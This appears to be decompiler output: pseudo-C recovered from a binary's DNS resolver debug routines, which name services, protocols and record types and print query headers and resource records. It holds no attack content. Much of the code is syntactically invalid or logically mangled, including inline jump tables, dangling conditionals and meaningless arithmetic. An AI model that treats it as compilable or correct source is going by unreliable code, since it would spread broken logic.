        esp = ebp;
        return("hostnames");
        esp = ebp;
        return("iso-tsap");
        esp = ebp;
        return("x400");
        esp = ebp;
        return("x400-snd");
        esp = ebp;
        return("csnet-ns");
        esp = ebp;
        return("pop-2");
        esp = ebp;
        return("sunrpc");
        esp = ebp;
        return("auth");
        esp = ebp;
        return("sftp");
        esp = ebp;
        return("uucp-path");
        esp = ebp;
        return("nntp");
        esp = ebp;
        return("erpc");
        esp = ebp;
        return("ntp");
        esp = ebp;
        return("statsrv");
        esp = ebp;
        return("profile");
        esp = ebp;
        return("NeWS");
        esp = ebp;
        return("snmp");
        esp = ebp;
        return("snmp-trap");
        esp = ebp;
        return("print-srv");
    }
    sprintf(0x807e3b0, "%d", A8);
    return(0x807e3b0);
}

/*	Procedure: 0x0805EEA1 - 0x0805EEA3
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805EEA1()
{



}

/*	Procedure: 0x0805EEA4 - 0x0805EFAC
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0805EEA4(A8)
/* unknown */ void  A8;
{



    eax = A8 - 1;
    if(eax <= 16) {
        goto *(eax * 4 + 0x805eec0)[L0805ef04, L0805ef10, L0805ef1c, L0805ef94, L0805ef28, L0805ef34, L0805ef40, L0805ef4c, L0805ef58, L0805ef94, L0805ef64, L0805ef70, L0805ef94, L0805ef94, L0805ef94, L0805ef7c, L0805ef88, ]goto ( *(eax * 4 + 0x805eec0));
        return("icmp");
        esp = ebp;
        return("igmp");
        esp = ebp;
        return("ggp");
        esp = ebp;
        return("st");
        esp = ebp;
        return("tcp");
        esp = ebp;
        return("ucl");
        esp = ebp;
        return("egp");
        esp = ebp;
        return("igp");
        esp = ebp;
        return("nvp-II");
        esp = ebp;
        return("pup");
        esp = ebp;
        return("chaos");
        esp = ebp;
        return("udp");
    }
    sprintf(0x807e3c4, "%d", A8);
    return(0x807e3c4);
}

/*	Procedure: 0x0805EFAD - 0x0805EFAF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805EFAD()
{



}

/*	Procedure: 0x0805EFB0 - 0x0805F157
 *	Argument size: 28
 *	Local size: 0
 *	Save regs size: 12
 */

L0805EFB0(A8, Ac, A10, A14, A18, A1c, A20)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
/* unknown */ void  A20;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    ebx = A10;
    edi = A18 & *L080786A4;
    asm("xchg al,ah");
    esi = A14 & 65535;
    if(esi != 0) {
        if(*L080786A4 == 0 || edi != 0 && !( *L080786A5 & 1)) {
            L0804F680(A1c, A20);
        }
        if(!(esi = esi - 1)) {
            eax = !esi & 1;
            if(esi <= -1 || eax != 0) {
                if(*L080786A4 == 0 || edi != 0) {
                    (save)A1c;
                    (save)A8;
                    (save)ebx;
                    ebx = L0805F7E4();
                } else {
                    ebx = L0804D404(ebx, ebx + 255) + ebx + 8;
                    ebx = (L0804D6B8(ebx) & 65535) + ebx + 2;
                }
                if(Ac < ebx - A8) {
                    goto L0805f13c;
                }
                if(esi = esi - 1) {
                    goto L0805f110;
                }
            }
            do {
                if(*L080786A4 != 0) {
                    if(edi != 0) {
                        goto L0805f075;
                    }
                    ebx = L0804D404(ebx, ebx + 255) + ebx + 8;
                    ebx = (L0804D6B8(ebx) & 65535) + ebx + 2;
                } else {
L0805f075:
                    (save)A1c;
                    (save)A8;
                    (save)ebx;
                    ebx = L0805F7E4();
                }
                if(Ac < ebx - A8) {
                    goto L0805f13c;
                }
                esi = esi - 1;
                if(*L080786A4 != 0) {
                    if(edi != 0) {
                        goto L0805f0c7;
                    }
                    ebx = L0804D404(ebx, ebx + 255) + ebx + 8;
                    ebx = (L0804D6B8(ebx) & 65535) + ebx + 2;
                } else {
L0805f0c7:
                    (save)A1c;
                    (save)A8;
                    (save)ebx;
                    ebx = L0805F7E4();
                }
                if(Ac < ebx - A8) {
                    goto L0805f13c;
                }
            } while(esi = esi - 1);
        }
L0805f110:
        if(*L080786A4 == 0) {
            goto L0805f126;
        }
        if(edi != 0 && !( *L080786A5 & 1)) {
L0805f126:
            ecx = A1c;
            if(*(ecx + 24) <= *(ecx + 20)) {
                L08061910(ecx, 10);
                goto L0805f14c;
L0805f13c:
                eax = 0;
                goto L0805f14e;
            }
            ecx = A1c;
            *( *(ecx + 20)) = 10;
            *(ecx + 20) = *(ecx + 20) + 1;
        }
    }
L0805f14c:
    eax = ebx;
L0805f14e:
}

/*	Procedure: 0x0805F158 - 0x0805F16C
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0805F158(A8)
/* unknown */ void  A8;
{



    return(L0805F670(A8, 0x8078750));
}

/*	Procedure: 0x0805F16D - 0x0805F1DA
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 12
 */

L0805F16D(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  edi;



    edi = A8;
    L0804F680(Ac, ";; res options:");
    if(edi == 0) {
        edi = 0x8078544;
    }
    ebx = 1;
    do {
        if(!( *(edi + 8) & ebx)) {
            (save)ebx;
            L0804F680(Ac, " %s", L08060630());
        }
    } while(ebx = ebx + ebx);
    if(*(Ac + 24) <= *(Ac + 20)) {
        eax = L08061910(Ac, 10);
    } else {
        eax = *(Ac + 20);
        *eax = 10;
        *(Ac + 20) = *(Ac + 20) + 1;
    }
}

/*	Procedure: 0x0805F1DB - 0x0805F1DB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805F1DB()
{



}

/*	Procedure: 0x0805F1DC - 0x0805F66F
 *	Argument size: 12
 *	Local size: 264
 *	Save regs size: 12
 */

L0805F1DC(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffef8;
	/* unknown */ void  Vfffffefc;
	/* unknown */ void  Vffffff00;



    if(!( *L0807854C & 1)) {
        eax = L0804D744();
        if(eax == -1) {
            goto L0805f663;
        }
    }
    edx = A8;
    Vfffffef8 = edx;
    ebx = Vfffffef8 + 12;
    Vfffffefc = Ac + ebx;
    if(*L080786A4 == 0 || *L080786A5 & 8 || !( *(A8 + 3) & 15)) {
        edx = Vfffffef8;
        ax = *edx;
        asm("xchg al,ah");
        eax = eax & 65535;
        (save)eax;
        eax = *(( *(edx + 3) & 15) * 4 + 0x8078fec);
        (save)eax;
        L0804F680(A10, ";; ->>HEADER<<- opcode: %s, status: %s, id: %d", *(( *(edx + 2) >> 3 & 15) * 4 + 0x8078fac));
        if(*(A10 + 24) <= *(A10 + 20)) {
            eax = L08061910(A10, 10);
        } else {
            eax = *(A10 + 20);
            *eax = 10;
            *(A10 + 20) = *(A10 + 20) + 1;
        }
    }
    if(*L080786A4 == 0 || !( *L080786A5 & 8)) {
        if(*(A10 + 24) <= *(A10 + 20)) {
            eax = L08061910(A10, 59);
        } else {
            eax = *(A10 + 20);
            *eax = 59;
            *(A10 + 20) = *(A10 + 20) + 1;
        }
    }
    if(*L080786A4 == 0 || !( *L080786A5 & 2)) {
        eax = L0804F680(A10, "; flags:");
        if(*(Vfffffef8 + 2) < 0) {
            eax = L0804F680(A10, " qr");
        }
        if(!( *(Vfffffef8 + 2) & 4)) {
            eax = L0804F680(A10, " aa");
        }
        if(!( *(Vfffffef8 + 2) & 2)) {
            eax = L0804F680(A10, " tc");
        }
        if(!( *(Vfffffef8 + 2) & 1)) {
            eax = L0804F680(A10, " rd");
        }
        if(*(Vfffffef8 + 3) < 0) {
            eax = L0804F680(A10, " ra");
        }
    }
    if(*L080786A4 == 0 || !( *L080786A5 & 1)) {
        ax = *(Vfffffef8 + 4);
        asm("xchg al,ah");
        eax = L0804F680(A10, "; Ques: %d", eax & 65535);
        ax = *(Vfffffef8 + 6);
        asm("xchg al,ah");
        eax = L0804F680(A10, ", Ans: %d", eax & 65535);
        ax = *(Vfffffef8 + 8);
        asm("xchg al,ah");
        eax = L0804F680(A10, ", Auth: %d", eax & 65535);
        ax = *(Vfffffef8 + 10);
        asm("xchg al,ah");
        L0804F680(A10, ", Addit: %d", eax & 65535);
    }
    if(*L080786A4 == 0 || !( *L080786A5 & 11)) {
        if(*(A10 + 24) <= *(A10 + 20)) {
            L08061910(A10, 10);
        } else {
            *( *(A10 + 20)) = 10;
            *(A10 + 20) = *(A10 + 20) + 1;
        }
    }
    ax = *(Vfffffef8 + 4);
    asm("xchg al,ah");
    edi = ax & 65535;
    if(edi != 0) {
        if(*L080786A4 == 0 || !( *L080786A4 & 16)) {
            L0804F680(A10, ";; QUESTIONS:\n");
        }
        if(!(edi = edi - 1)) {
            do {
                if(*L080786A4 == 0 || !( *L080786A4 & 16)) {
                    L0804F680(A10, ";;\t");
                }
                if(Vfffffefc <= ebx) {
                    goto L0805f650;
                }
                if(*L080786A4 != 0) {
                    if(!( *L080786A4 & 16)) {
                        goto L0805f4ae;
                    }
                    eax = L0804D02C(A8, A8 + Ac, ebx, & Vffffff00, 256);
                    if(eax < 0) {
                        goto L0805f658;
                    }
                    ebx = ebx + eax;
                } else {
L0805f4ae:
                    ebx = L0805F68C(ebx, A8, Ac, A10);
                }
                if(ebx == 0) {
                    goto L0805f658;
                }
                if(Vfffffefc <= ebx) {
                    goto L0805f650;
                }
                if(*L080786A4 == 0 || !( *L080786A4 & 16)) {
                    (save)L0804D6B8(ebx) & 65535;
                    L0804F680(A10, ", type = %s", L08060004());
                }
                ebx = ebx + 2;
                if(Vfffffefc <= ebx) {
                    goto L0805f650;
                }
                if(*L080786A4 == 0 || !( *L080786A4 & 16)) {
                    (save)L0804D6B8(ebx) & 65535;
                    L0804F680(A10, ", class = %s\n", L080605D0());
                }
                ebx = ebx + 2;
                if(*L080786A4 == 0 || !( *L080786A4 & 16)) {
                    if(*(A10 + 24) > *(A10 + 20)) {
                        *( *(A10 + 20)) = 10;
                        *(A10 + 20) = *(A10 + 20) + 1;
                    } else {
                        L08061910(A10, 10);
                    }
                }
            } while(edi = edi - 1);
        }
    }
    if(Vfffffefc > ebx) {
        ebx = L0805EFB0(A8, Ac, ebx, *(Vfffffef8 + 6) & 65535, 32, A10, ";; ANSWERS:\n");
        if(ebx == 0) {
            goto L0805f658;
        }
        if(Vfffffefc > ebx) {
            ebx = L0805EFB0(A8, Ac, ebx, *(Vfffffef8 + 8) & 65535, 64, A10, ";; AUTHORITY RECORDS:\n");
            if(ebx == 0) {
                goto L0805f658;
            }
            if(Vfffffefc > ebx) {
                eax = L0805EFB0(A8, Ac, ebx, *(Vfffffef8 + 10) & 65535, 128, A10, ";; ADDITIONAL RECORDS:\n");
                if(eax == 0) {
                    goto L0805f658;
                }
                goto L0805f663;
            }
        }
    }
L0805f650:
    (save)"\n;; ...truncated\n";
    goto L0805f65d;
L0805f658:
    (save)"\n;; ...malformed\n";
L0805f65d:
    eax = L0804F680(A10);
L0805f663:
    esp = ebp + -276;
}

/*	Procedure: 0x0805F670 - 0x0805F688
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L0805F670(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    return(L0805F1DC(A8, 512, Ac));
}

/*	Procedure: 0x0805F689 - 0x0805F68B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805F689()
{



}

/*	Procedure: 0x0805F68C - 0x0805F70C
 *	Argument size: 16
 *	Local size: 256
 *	Save regs size: 12
 */

L0805F68C(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  esi;
	/* unknown */ void  Vffffff00;



    eax = Ac;
    esi = L0804D02C(eax, eax + A10, A8, & Vffffff00, 256);
    if(esi < 0) {
        eax = 0;
    } else {
        if(Vffffff00 == 0) {
            if(*(A14 + 24) <= *(A14 + 20)) {
                (save)46;
                (save)A14;
                L08061910();
            } else {
                *( *(A14 + 20)) = 46;
                *(A14 + 20) = *(A14 + 20) + 1;
            }
        } else {
            L080624D0( & Vffffff00, A14);
        }
        eax = esi + A8;
    }
    esp = ebp + -268;
}

/*	Procedure: 0x0805F70D - 0x0805F72C
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 0
 */

L0805F70D(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    return(L0805F68C(A8, Ac, 512, A10));
}

/*	Procedure: 0x0805F72D - 0x0805F72F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805F72D()
{



}

/*	Procedure: 0x0805F730 - 0x0805F7E2
 *	Argument size: 12
 *	Local size: 260
 *	Save regs size: 12
 */

L0805F730(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffefc;
	/* unknown */ void  Vffffff00;



    eax = L0804D02C(Ac, A8 + 255, A8, & Vffffff00, 256);
    Vfffffefc = eax;
    if(Vfffffefc < 0) {
        eax = 0;
    } else {
        if(Vffffff00 == 0) {
            if(*(A10 + 24) <= *(A10 + 20)) {
                goto L0805f7ba;
            }
            goto L0805f7c4;
        }
        ebx = & Vffffff00;
        L080624D0(ebx, A10);
        al = 0;
        edi = ebx;
        asm("cld");
        ecx = -1;
        asm("repne scasb");
        if(*(ebp + !ecx + -258) != 46) {
            if(*(A10 + 24) <= *(A10 + 20)) {
L0805f7ba:
                L08061910(A10, 46);
            } else {
L0805f7c4:
                *( *(A10 + 20)) = 46;
                *(A10 + 20) = *(A10 + 20) + 1;
            }
        }
        eax = A8 + Vfffffefc;
    }
    esp = ebp + -272;
}

/*	Procedure: 0x0805F7E3 - 0x0805F7E3
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0805F7E3()
{



}

/*	Procedure: 0x0805F7E4 - 0x08060000
 *	Argument size: 12
 *	Local size: 36
 *	Save regs size: 12
 */

L0805F7E4(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vffffffdc;
	/* unknown */ void  Vffffffe0;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    esi = A8;
    if(!( *L0807854C & 1)) {
        eax = L0804D744();
        if(eax == -1) {
            *L0807E788 = -1;
L0805f810:
            eax = 0;
            goto L0805fff7;
        }
    }
    eax = L0805F730(esi, Ac, A10);
    esi = eax;
    if(esi == 0) {
        goto L0805f810;
    }
    Vfffffff8 = L0804D6B8(esi) & 65535;
    esi = esi + 2;
    ebx = L0804D6B8(esi) & 65535;
    esi = esi + 2;
    eax = L0804D6D4(esi);
    Vffffffe4 = eax;
    esi = esi + 4;
    Vfffffff4 = L0804D6B8(esi) & 65535;
    esi = esi + 2;
    Vffffffec = esi;
    if(*L080786A4 == 0 || !( *L080786A5 & 4)) {
        eax = L0804F680(A10, "\t%lu", Vffffffe4);
    }
    if(*L080786A4 == 0 || !( *L080786A4 & 4)) {
        (save)ebx;
        L080605D0();
        eax = L0804F680(A10, "\t%s", eax);
    }
    (save)Vfffffff8;
    L08060004();
    eax = L0804F680(A10, "\t%s", eax);
    eax = Vfffffff8 - 1;
    if(eax <= 101) {
        goto *(eax * 4 + 0x805f8e4)[L0805fa7c, L0805fb00, L0805ffa4, L0805ffa4, L0805fb00, L0805fb84, L0805fb00, L0805fb00, L0805fb00, L0805ffa4, L0805fec0, L0805fb00, L0805fb1c, L0805fdec, L0805fca0, L0805fd14, L0805fdec, L0805fca0, L0805fd14, L0805fb1c, L0805fca0, L0805fdc8, L0805ffa4, L0805ffa4, L0805ffa4, L0805fcd0, L0805ffa4, L0805ffa4, L0805ffa4, L0805ffa4, L0805ffa4, L0805ffa4, L0805ffa4, L0805ffa4...]goto ( *(eax * 4 + 0x805f8e4));
        if(ebx == 1) {
            goto L0805fa86;
        }
        if(ebx != 4) {
            goto L0805faf8;
        }
        eax = L08056480(esi, & Vfffffffc, 4);
        if(Vfffffff4 == 4) {
            eax = Vfffffffc;
            (save)eax;
            eax = L0805E984();
            (save)eax;
            (save)"\t%s";
        } else {
            if(Vfffffff4 != 7) {
                goto L0805ffb9;
            }
            eax = Vfffffffc;
            (save)eax;
            eax = L0805E984();
            Vffffffdc = eax;
            esi = esi + 4;
            bl = *esi;
            esi = esi + 1;
            eax = L0804D6B8(esi);
            esi = esi + 2;
            eax = eax & 65535;
            (save)eax;
            (save)bl & 255;
            L0804F680(A10, "\t%s\t; proto %d, port %d", Vffffffdc);
            goto L0805ffb9;
            esi = esi + Vfffffff4;
            goto L0805ffb9;
            if(*(A10 + 24) <= *(A10 + 20)) {
                (save)9;
            } else {
                *( *(A10 + 20)) = 9;
                goto L0805fe42;
                Vffffffe8 = Vfffffff4 + esi;
                ebx = *esi & 255;
                esi = esi + 1;
                if(ebx != 0) {
                    (save)esi;
                    L0804F680(A10, "\t%.*s", ebx);
                    esi = esi + ebx;
                }
                if(Vffffffe8 > esi) {
                    ebx = *esi & 255;
                    esi = esi + 1;
                    if(ebx != 0) {
                        (save)esi;
                        L0804F680(A10, "\t%.*s", ebx);
                        esi = esi + ebx;
                        goto L0805ffb9;
                    }
                }
                if(Vfffffff8 != 13) {
                    goto L0805ffb9;
                }
                L0804F680(A10, "\n;; *** Warning *** OS-type missing");
                goto L0805ffb9;
                if(*(A10 + 24) <= *(A10 + 20)) {
                    L08061910(A10, 9);
                } else {
                    *( *(A10 + 20)) = 9;
                    *(A10 + 20) = *(A10 + 20) + 1;
                }
                esi = L0805F730(esi, Ac, A10);
                if(esi == 0) {
                    goto L0805f810;
                }
                if(*(A10 + 24) <= *(A10 + 20)) {
                    L08061910(A10, 32);
                } else {
                    *( *(A10 + 20)) = 32;
                    *(A10 + 20) = *(A10 + 20) + 1;
                }
                esi = L0805F730(esi, Ac, A10);
                if(esi == 0) {
                    goto L0805f810;
                }
                (save)A10;
                (save)" (\n";
                L080624D0();
                ebx = L0804D6D4(esi);
                esi = esi + 4;
                L0804F680(A10, "\t\t\t%lu\t; serial\n", ebx);
                ebx = L0804D6D4(esi);
                esi = esi + 4;
                (save)ebx;
                (save)L0806077C();
                L0804F680(A10, "\t\t\t%lu\t; refresh (%s)\n", ebx);
                ebx = L0804D6D4(esi);
                esi = esi + 4;
                (save)ebx;
                (save)L0806077C();
                L0804F680(A10, "\t\t\t%lu\t; retry (%s)\n", ebx);
                ebx = L0804D6D4(esi);
                esi = esi + 4;
                (save)ebx;
                (save)L0806077C();
                L0804F680(A10, "\t\t\t%lu\t; expire (%s)\n", ebx);
                ebx = L0804D6D4(esi);
                esi = esi + 4;
                (save)ebx;
                (save)L0806077C();
                L0804F680(A10, "\t\t\t%lu )\t; minimum (%s)", ebx);
                goto L0805ffb9;
                L0804F680(A10, "\t%d ", L0804D6B8(esi) & 65535);
                esi = esi + 2;
                esi = L0805F730(esi, Ac, A10);
                goto L0805fe55;
                L0804F680(A10, "\t%d ", L0804D6B8(esi) & 65535);
                esi = esi + 2;
                esi = L0805F730(esi, Ac, A10);
                if(esi == 0) {
                    goto L0805f810;
                }
                if(*(A10 + 24) > *(A10 + 20)) {
                    goto L0805fe3c;
                    L080624D0("\t\"", A10);
                    ecx = Vffffffec + Vfffffff4;
                    Vffffffe8 = ecx;
                    if(esi < Vffffffe8) {
L0805fd30:
                        ebx = *esi & 255;
                        esi = esi + 1;
                        if(ebx == 0) {
                            goto L0805fda4;
                        }
                        Vfffffff0 = ebx;
                        <= ? L0805fda4 : ;
L0805fd40:
                        if(Vffffffe8 > esi) {
                            if(*esi != 10 && *esi != 34) {
                                goto L0805fd78;
                            }
                            if(*(A10 + 24) <= *(A10 + 20)) {
                                L08061910(A10, 92);
                            } else {
                                *( *(A10 + 20)) = 92;
                                *(A10 + 20) = *(A10 + 20) + 1;
                            }
                            if(*(A10 + 24) > *(A10 + 20)) {
                                goto L0805fd90;
L0805fd78:
                                if(*(A10 + 24) > *(A10 + 20)) {
                                    goto L0805fd90;
                                }
                            }
                            esi = esi + 1;
                            L08061910(A10, *esi & 255);
                            goto L0805fd9b;
L0805fd90:
                            edx = *(A10 + 20);
                            *edx = *esi;
                            esi = esi + 1;
                            *(A10 + 20) = *(A10 + 20) + 1;
L0805fd9b:
                            Vfffffff0 = Vfffffff0 - 1;
                            if(Vfffffff0 > 0) {
                                goto L0805fd40;
                            }
L0805fda4:
                            if(Vffffffe8 > esi) {
                                goto L0805fd30;
                            }
                        }
                    }
                    if(*(A10 + 24) <= *(A10 + 20)) {
                        (save)34;
                        goto L0805ff8a;
                    }
                    *( *(A10 + 20)) = 34;
                    *(A10 + 20) = *(A10 + 20) + 1;
                    goto L0805ffb9;
                    (save)0;
                    (save)esi;
                    (save)Vfffffff4;
                    L0804F680(A10, "\t%s", L08060BD8());
                    esi = esi + Vfffffff4;
                    goto L0805ffb9;
                    if(*(A10 + 24) <= *(A10 + 20)) {
                        L08061910(A10, 9);
                    } else {
                        *( *(A10 + 20)) = 9;
                        *(A10 + 20) = *(A10 + 20) + 1;
                    }
                    esi = L0805F730(esi, Ac, A10);
                    if(esi == 0) {
                        goto L0805f810;
                    }
                    if(*(A10 + 24) > *(A10 + 20)) {
                        goto L0805fe3c;
                    }
                }
                (save)32;
            }
            (save)A10;
            L08061910();
            esp = esp + 8;
            goto L0805fe45;
L0805fe3c:
            *( *(A10 + 20)) = 32;
L0805fe42:
            *(A10 + 20) = *(A10 + 20) + 1;
L0805fe45:
            esi = L0805F730(esi, Ac, A10);
L0805fe55:
            if(esi != 0) {
                goto L0805ffb9;
            }
            goto L0805f810;
            if(*(A10 + 24) <= *(A10 + 20)) {
                L08061910(A10, 9);
            } else {
                *( *(A10 + 20)) = 9;
                *(A10 + 20) = *(A10 + 20) + 1;
            }
            L080624D0(esi, A10);
            esi = esi + Vfffffff4;
            goto L0805ffb9;
            if(Vfffffff4 != 4) {
                goto L0805ffb9;
            }
            (save)L0804D6D4(esi);
            (save)"\t%u";
        }
        (save)A10;
        L0804F680();
        esi = esi + 4;
        esp = esp + 16;
        goto L0805ffb9;
        if(Vfffffff4 > 4) {
            L08056480(esi, & Vfffffffc, 4);
            esi = esi + 4;
            (save)L0805EEA4( *esi & 255);
            L0804F680(A10, "\t%s %s ( ", L0805E984(Vfffffffc));
            esi = esi + 1;
            ebx = 0;
            Vffffffe0 = 0;
            goto L0805ff76;
L0805ff0c:
            Vfffffff0 = *esi & 255;
            esi = esi + 1;
L0805ff14:
            if(Vfffffff0 < 0) {
                if(Vffffffe0 == 0) {
                    L080624D0("\n\t\t\t", A10);
                    Vffffffe0 = 5;
                }
                L080624D0(L0805E9B8(ebx), A10);
                if(*(A10 + 24) <= *(A10 + 20)) {
                    L08061910(A10, 32);
                } else {
                    *( *(A10 + 20)) = 32;
                    *(A10 + 20) = *(A10 + 20) + 1;
                }
                Vffffffe0 = Vffffffe0 - 1;
            }
            Vfffffff0 = Vfffffff0 << 1;
            ebx = ebx + 1;
            if(bl & 7) {
                goto L0805ff14;
            }
L0805ff76:
            if(esi < Vffffffec + Vfffffff4) {
                goto L0805ff0c;
            }
            if(*(A10 + 24) <= *(A10 + 20)) {
                (save)41;
L0805ff8a:
                (save)A10;
                L08061910();
                esp = esp + 8;
            } else {
                *( *(A10 + 20)) = 41;
                *(A10 + 20) = *(A10 + 20) + 1;
            }
        }
    } else {
        L0804F680(A10, "\t?%d?", Vfffffff8);
        esi = esi + Vfffffff4;
    }
L0805ffb9:
    if(*(A10 + 24) <= *(A10 + 20)) {
        L08061910(A10, 10);
    } else {
        *( *(A10 + 20)) = 10;
        *(A10 + 20) = *(A10 + 20) + 1;
    }
    eax = esi - Vffffffec;
    if(Vfffffff4 != eax) {
        (save)Vfffffff4;
        L0804F680(A10, ";; packet size error (found %d, dlen was %d)\n", eax);
        esi = 0;
    }
    eax = esi;
L0805fff7:
    esp = ebp - 48;
}

/*	Procedure: 0x08060001 - 0x08060003
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08060001()
{



}

/*	Procedure: 0x08060004 - 0x080605CC
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L08060004(A8)
/* unknown */ void  A8;
{



    eax = A8 - 1;
    if(eax <= 254) {
        goto *(eax * 4 + 0x8060020)[L0806041c, L08060428, L080605b4, L080605b4, L08060434, L08060440, L0806044c, L08060458, L08060464, L08060470, L0806047c, L08060488, L08060494, L080604a0, L080604ac, L080604b8, L080604c4, L080604d0, L080604dc, L080604e8, L080604f4, L08060500, L0806050c, L08060518, L08060524, L08060530, L0806053c, L08060548, L08060554, L080605b4, L080605b4, L080605b4, L080605b4, L080605b4...]goto ( *(eax * 4 + 0x8060020));
        return("A");
        esp = ebp;
        return("NS");
        esp = ebp;
        return("CNAME");
        esp = ebp;
        return("SOA");
        esp = ebp;
        return("MB");
        esp = ebp;
        return("MG");
        esp = ebp;
        return("MR");
        esp = ebp;
        return("NULL");
        esp = ebp;
        return("WKS");
        esp = ebp;
        return("PTR");
        esp = ebp;
        return("HINFO");
        esp = ebp;
        return("MINFO");
        esp = ebp;
        return("MX");
        esp = ebp;
        return("TXT");
        esp = ebp;
        return("RP");
        esp = ebp;
        return("AFSDB");
        esp = ebp;
        return("X25");
        esp = ebp;
        return("ISDN");
        esp = ebp;
        return("RT");
        esp = ebp;
        return("NSAP");
        esp = ebp;
        return("NSAP_PTR");
        esp = ebp;
        return("SIG");
        esp = ebp;
        return("KEY");
        esp = ebp;
        return("PX");
        esp = ebp;
        return("GPOS");
        esp = ebp;
        return("AAAA");
        esp = ebp;
        return("LOC");
        esp = ebp;
        return("AXFR");
        esp = ebp;
        return("MAILB");
        esp = ebp;
        return("MAILA");
        esp = ebp;
        return("ANY");
        esp = ebp;
        return("UINFO");
        esp = ebp;
        return("UID");
        esp = ebp;
        return("GID");
    }
    sprintf(0x807e3d8, "%d", A8);
    return(0x807e3d8);
}

/*	Procedure: 0x080605CD - 0x080605CF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080605CD()
{



}

/*	Procedure: 0x080605D0 - 0x0806062C
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L080605D0(A8)
/* unknown */ void  A8;
{



    if(A8 != 4) {
        > ? L080605e4 : ;
        if(A8 != 1) {
            goto L08060614;
            if(A8 == 255) {
                goto L08060608;
            }
            goto L08060614;
        }
        return("IN");
    }
    esp = ebp;
    return("HS");
L08060608:
    esp = ebp;
    return("ANY");
L08060614:
    sprintf(0x807e3ec, "%d", A8);
    return(0x807e3ec);
}

/*	Procedure: 0x0806062D - 0x0806062F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0806062D()
{



}

/*	Procedure: 0x08060630 - 0x08060778
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L08060630(A8)
/* unknown */ void  A8;
{



    if(A8 != 32) {
        > ? L08060678 : ;
        if(A8 != 4) {
            > ? L08060660 : ;
            if(A8 != 1) {
                if(A8 == 2) {
                    goto L080606dc;
                }
                goto L08060760;
                if(A8 == 8) {
                    goto L080606f4;
                }
                if(A8 == 16) {
                    goto L08060700;
                }
                goto L08060760;
                if(A8 == 256) {
                    goto L08060730;
                }
                > ? L080606a0 : ;
                if(A8 == 64) {
                    goto L08060718;
                }
                if(A8 == 128) {
                    goto L08060724;
                }
                goto L08060760;
                if(A8 == 1024) {
                    goto L08060748;
                }
                > ? L080606c0 : ;
                if(A8 == 512) {
                    goto L0806073c;
                }
                goto L08060760;
                if(A8 == 2048) {
                    goto L08060754;
                }
                goto L08060760;
            }
            return("init");
L080606dc:
            esp = ebp;
            return("debug");
        }
        esp = ebp;
        return("aaonly(unimpl)");
L080606f4:
        esp = ebp;
        return("usevc");
L08060700:
        esp = ebp;
        return("primry(unimpl)");
    }
    esp = ebp;
    return("igntc");
L08060718:
    esp = ebp;
    return("recurs");
L08060724:
    esp = ebp;
    return("defnam");
L08060730:
    esp = ebp;
    return("styopn");
L0806073c:
    esp = ebp;
    return("dnsrch");
L08060748:
    esp = ebp;
    return("insecure1");
L08060754:
    esp = ebp;
    return("insecure2");
L08060760:
    sprintf(0x807e400, "?0x%lx?", A8);
    return(0x807e400);
}

/*	Procedure: 0x08060779 - 0x0806077B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08060779()
{



}

/*	Procedure: 0x0806077C - 0x080608C6
 *	Argument size: 4
 *	Local size: 8
 *	Save regs size: 12
 */

L0806077C(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    eax = A8;
    if(eax == 0) {
        *L0807E428 = *"0 secs";
        *L0807E42C = *"cs";
        *L0807E42E = *"";
    } else {
        edx = 0;
        ecx = 60 / 60;
        Vfffffffc = ecx % ecx;
        edx = 0;
        Vfffffff8 = ecx / ecx % ecx / ecx;
        edx = 0;
        edi = 24 / 24 % 24 / 24;
        esi = eax;
        ebx = 0x807e428;
        if(esi != 0) {
            eax = "s";
            if(esi == 1) {
                eax = 0x8069936;
            }
            (save)eax;
